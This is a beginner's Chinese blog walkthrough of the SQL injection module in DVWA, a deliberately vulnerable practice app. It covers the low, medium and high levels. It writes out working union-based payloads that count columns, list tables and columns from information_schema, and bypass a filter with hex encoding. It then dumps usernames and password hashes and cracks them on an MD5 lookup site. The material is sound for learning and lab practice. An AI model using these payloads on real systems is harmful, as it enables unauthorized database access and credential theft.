新手打DVWA靶场 sql注入(低级-高级)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


前言

提示:这里可以添加本文要记录的大概内容:

随着网络安全的不断发展,学习这门技术也越来越重要,很多人都开启了学习网络安全,本文就介绍了网络安全的基础内容。


提示:以下是本篇文章正文内容,下面案例可供参考

一、sql注入是什么?

sql 注入是一种网络安全漏洞和攻击方式,它发生在攻击者利用Web应用程序对用户输入数据进行不充分或不正确的过滤,从而在应用程序的查询语句中插入恶意的SQL代码。

二、使用步骤

1.DVWA 低级

1.测试是字符型还是数字型

在输入框中 1’进行测试,发现出现一下界面。
在这里插入图片描述
页面出错,先尝试将标签闭合在输入框中输入 1’’,发现页面回归正常,所以我们判断搜索框中存在字符型的 sql 注入。页面如下:
在这里插入图片描述
那我们就用字符型的代码去测试改网页。
2、测试字段数
我们将代码 1’ order by 1#输入到搜索框中,再次查看页面,发现页面正常。
在这里插入图片描述
那我们就在测试1’ order by 2# 和1’ order by 3#,我们可以发现当代码测试到1’ order by 3#的时候,出现一下页面,这就表示我们该网页所在的表只有两个字段。
在这里插入图片描述
3、查看当前数据库
从第2步我们就知道了,有两个字段名,所以在我们使用union时后面跟着的select语句也必须要有两个搜索参数,其中一个参数我们任意,可以随意输入个1。我们可以在搜索框中搜索1’ union select 1,database()#。 其中这个1试html网页中的变量 id 值,后面我们用单引号将其闭合。再用union连接我们要使用的 select查询语句。结果如下:
在这里插入图片描述
从上述结果中我们可以看出来受害机上面有个 dvwa 的数据库。我们就可以对这个数据库进行 sql 注入。
4、查看该数据库中的表名
从第3步我们知道了有个 dvwa 的数据库,接下来我们在搜索框中输入:

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’dvwa’#

其中这个group_concat()是将显示的结果输出到网页的一行上。后面的#是将该语句后面的内容注释掉。得到的结果如下:
在这里插入图片描述
我们可以看见页面显示的结果里面有 guestbook和users,表示在dvwa的数据库中有这两张表。
5、查看表中有哪些列
从第4步我们可以知道有guestbook和users两张表。从英文上我们就知道user是用户的意思,所以我们猜测在user表中存放了用户名和密码。因此我们在搜索框中输入:

 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’user’#
出现如下界面:

在这里插入图片描述
我们可以看到 Surname 后面显示了一长串,这一长串都是表users中的列。我们可以看到有个user列和一个password列。所以我们可以猜测这两列就是用户名和密码。
6、读取账号密码
从第5步我们就知道了有user列和一个password列,所以现在我们就查看一下这两列的内容。我们在搜索框中输入 1’ union select user,password from users# 。如下图显示
在这里插入图片描述
在这里我们发现了很多账号和密码,我们就去 gordonb 和它的密码测试。在这里它的密码加密了。我们就去 somd5的网站解码。
在这里插入图片描述
这里我们就知道了gordonb 和它的密码了。

DVWA 中级

在这个界面中我们发下没有输入框,所以我们要尝试抓包:
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/e1d9b8e9aac2483e87cef076b301d8bb.png#pic_center)

遇到这种情况可以尝试抓包。我们来查看数据包的内容:我们将数据发到重发器(Repeater)里面去,去测试 id 的值。

在这里插入图片描述
我们要在这里测试该 sql 注入是字符型的还是数字型的。将 id=1 改成 id=1’ 再改成 id=1’’ 发现页面都是如下界面,没有任何变化,所以我们猜测该该 sql 注入是数字型:
在这里插入图片描述
所以我们要使用数字型的 sql 注入。
2、测试字段数
我们将代码 1+order+by+1–+替换掉 id=1中1的部分,再BP中我们要用加号代替空格,用“–+”代替“#”再次查看页面,发现页面正常。
在这里插入图片描述

但是当我们输入1+order+by+3--+时,重发器页面显示报错,这就表示我们该网页所在的表只有两个字段。

3、查看当前数据库
从第2步我们就知道了,有两个字段名,所以在我们使用union时后面跟着的select语句也必须要有两个搜索参数,其中一个参数我们任意,可以随意输入个1。我们可以替换掉 id=1中1的部分

1+union+select+1,database()--+

其中这个1试html网页中的变量 id 值。再用union连接我们要使用的 select查询语句。结果如下
在这里插入图片描述
从上述结果中我们可以看出来受害机上面有个 dvwa 的数据库。我们就可以对这个数据库进行 sql 注入。
4、查看该数据库中的表名
从第3步我们知道了有个 dvwa 的数据库,接下来我们替换掉 id=1中1的部分输入:

1+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=dvwa--+

其中这个group_concat()是将显示的结果输出到网页的一行上。后面的#是将该语句后面的内容注释掉。得到的结果如下:
在这里插入图片描述
该页面显示不知道 dvwa代表这里的 dvwa被过滤掉了,那我们就要尝试其他方法了。我们可以将 dvwa 转换成database(),想办法绕开这个 dvwa。再次在重发器的界面点击发送,出现下面界面:
在这里插入图片描述
我们可以看见页面显示的结果里面有 guestbook和users,表示在dvwa的数据库中有这两张表。
5、查看表中有哪些列
从第4步我们可以知道有guestbook和users两张表。从英文上我们就知道user是用户的意思,所以我们猜测在user表中存放了用户名和密码。因此我们在搜索框中输入:

1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=’users’--+

出现如下界面
在这里插入图片描述
这里我们发现页面无法识别users,所以我们要想办法绕过,因为这里没有其他东西代替,所以我们可以想办法转化进制,我们可以将 users 转换成十六进制。再将代码改成

1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=0x75736572--+

出现如下界面:
在这里插入图片描述
我们可以看到 Surname 后面显示了一长串,这一长串都是表users中的列。我们可以看到有个user列和一个password列。所以我们可以猜测这两列就是用户名和密码。
6、读取账号密码
从第5步我们就知道了有user列和一个password列,所以现在我们就查看一下这两列的内容。我们在搜索框中输入
1+union+select+user,password+from+users–+
如下图显示:
在这里插入图片描述
在这里我们发现了很多账号和密码,我们就去 gordonb 和它的密码测试。在这里它的密码加密了。我们就去 somd5的网站解码。之后和上述步骤一样。

DVWA 高级

我们发现页面有个连接ID,点击出现个弹窗,我们在弹窗的输入框里面测试,发现该 sql 注入属于字符型的sql 注入,请看下图:
在这里插入图片描述
2、测试字段数
我们将代码 1’ order by 1#输入到搜索框中,再次查看页面,发现页面正常。当我们输到1’ order by 3#就出现了如下页面:
在这里插入图片描述
这就表示我们该网页所在的表只有两个字段。
3、查看当前数据库
从第2步我们就知道了,有两个字段名,所以在我们使用union时后面跟着的select语句也必须要有两个搜索参数,其中一个参数我们任意,可以随意输入个1。我们可以在搜索框中搜索

1’ union select 1,database()#

其中这个1试html网页中的变量 id 值,后面我们用单引号将其闭合。再用union连接我们要使用的 select查询语句。结果如下:
在这里插入图片描述
从上述结果中我们可以看出来受害机上面有个 dvwa 的数据库。我们就可以对这个数据库进行 sql 注入。
4、查看该数据库中的表名
从第3步我们知道了有个 dvwa 的数据库,接下来我们在搜索框中输入:

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

其中这个group_concat()是将显示的结果输出到网页的一行上。后面的#是将该语句后面的内容注释掉。得到的结果如下:
在这里插入图片描述
我们可以看见页面显示的结果里面有 guestbook和users,表示在dvwa的数据库中有这两张表。
5、查看表中有哪些列
从第4步我们可以知道有guestbook和users两张表。从英文上我们就知道user是用户的意思,所以我们猜测在user表中存放了用户名和密码。因此我们在搜索框中输入:

 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x75736572#

出现如下界面:
在这里插入图片描述
我们可以看到 Surname 后面显示了一长串,这一长串都是表users中的列。我们可以看到有个user列和一个password列。所以我们可以猜测这两列就是用户名和密码。
6、读取账号密码
从第5步我们就知道了有user列和一个password列,所以现在我们就查看一下这两列的内容。我们在搜索框中输入

 1’ union select user,password from users# 

如下图显示:
在这里插入图片描述
剩下的步骤和前面的一样,去 somd5 解码即可得到密码。

总结

这里我们需要明确思路:
一、判断 sql 注入的类型
二、确定字段数
三、查找数据库
四、查找表名
五、查找字段名
六、读取用户名和密码

DVWA(Damn Vulnerable Web Application)是一个故意设计有漏洞的Web应用程序,它被广泛用作安全测试和学习的实践平台。在DVWA靶场中,SQL注入是其中一个常见的漏洞。 SQL注入是一种利用现有应用程序的漏洞,将恶意的SQL命令插入到Web表单提交或输入的查询字符串中,从而欺骗服务器执行恶意的SQL命令。攻击者可以利用SQL注入来绕过应用程序的验证和访问控制,从而执行未经授权的操作。 在DVWA靶场中,你可以通过注入恶意的SQL语句来获取存在安全漏洞的网站上的数据库信息。例如,通过猜解SQL查询语句中的字段数,你可以尝试构造不同的注入语句来获取敏感数据。另外,你也可以使用联合查询来查找数据库中的表。 举个例子,当你在DVWA靶场中尝试查找数据库中的表时,你可以使用以下注入语句: id=2 union select 1,table_name from information_schema.tables where table_schema=(select database())#&Submit=Submit 这个注入语句通过联合查询的方式,从information_schema.tables表中获取当前数据库中的所有表名,并将结果返回给你。 需要注意的是,在实际环境中,SQL注入是一种非常危险的漏洞。为了防止SQL注入攻击,开发人员应该采取安全编码实践,比如使用参数化查询或者ORM框架来避免动态拼接SQL语句。同时,对于使用DVWA靶场进行学习和测试的用户,务必遵守合法和道德的原则,不要在未经授权的情况下攻击他人的系统。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [DVWA靶场通关(SQL注入)](https://blog.csdn.net/m0_56010012/article/details/123353103)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值